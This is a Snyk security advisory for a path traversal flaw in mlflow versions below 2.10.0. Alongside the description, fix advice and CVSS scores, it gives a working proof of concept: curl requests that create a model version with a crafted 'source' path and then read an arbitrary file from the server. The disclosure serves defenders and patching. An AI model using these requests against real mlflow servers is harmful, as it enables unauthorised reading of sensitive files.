Path Traversal Affecting mlflow package, versions [,2.10.0)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (10th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-MLFLOW-6615680
  • published 16 Apr 2024
  • disclosed 16 Apr 2024
  • credit kevin-mizu

How to fix?

Upgrade mlflow to version 2.10.0 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Path Traversal due to improper parsing of URIs, allowing attackers to bypass checks and read arbitrary files on the system. The issue arises from the is_local_uri function's failure to properly handle URIs with empty or 'file' schemes, leading to the misclassification of URIs as non-local. Attackers can exploit this by crafting malicious model versions with specially crafted 'source' parameters, enabling the reading of sensitive files within at least two directory levels from the server's root.

PoC

Create a file containing SECRET in any 2 levels folder like: echo "SECRET" > /home/mizu/poc.txt.

Start the mlflow web server:

mlflow ui --host 127.0.0.1:5000

Create a registered model:

curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create'

Create a malicious model version:

curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "source": "//home/mizu/"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create'

Read /home/mizu/poc.txt:

curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=poc.txt&name=poc&version=1'

References

CVSS Scores

version 3.1
Expand this section

Snyk

9.3 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    High
  • Integrity (I)
    Low
  • Availability (A)
    None